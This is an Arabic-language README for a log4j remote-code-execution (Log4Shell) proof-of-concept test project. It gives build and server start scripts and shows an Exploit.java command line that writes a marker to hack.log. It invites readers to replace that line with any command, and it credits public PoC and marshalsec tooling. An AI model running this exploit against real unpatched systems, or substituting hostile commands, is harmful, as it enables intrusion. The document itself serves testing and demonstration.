log4j-rce-test

البناء

./build.sh

تشغيل خادم log4j RCE

./start-log4j-rce-server.sh

الاختبار

• قم بتشغيل java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j تحقق من ظهور السجلات في hack.log من المجلد الحالي
• يمكنك تغيير هذا السطر
  String[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };
  في الملف apache-log4j-poc/src/main/java/Exploit.java إلى ما تريد، ثم أعد البناء وقم بتشغيل الاختبار
• اطلع على المشكلة رقم 1 إذا رأيت خطأ في تجميع Maven

الاعتمادات

• https://github.com/tangxiaofeng7/apache-log4j-poc.git
• https://github.com/mbechler/marshalsec.git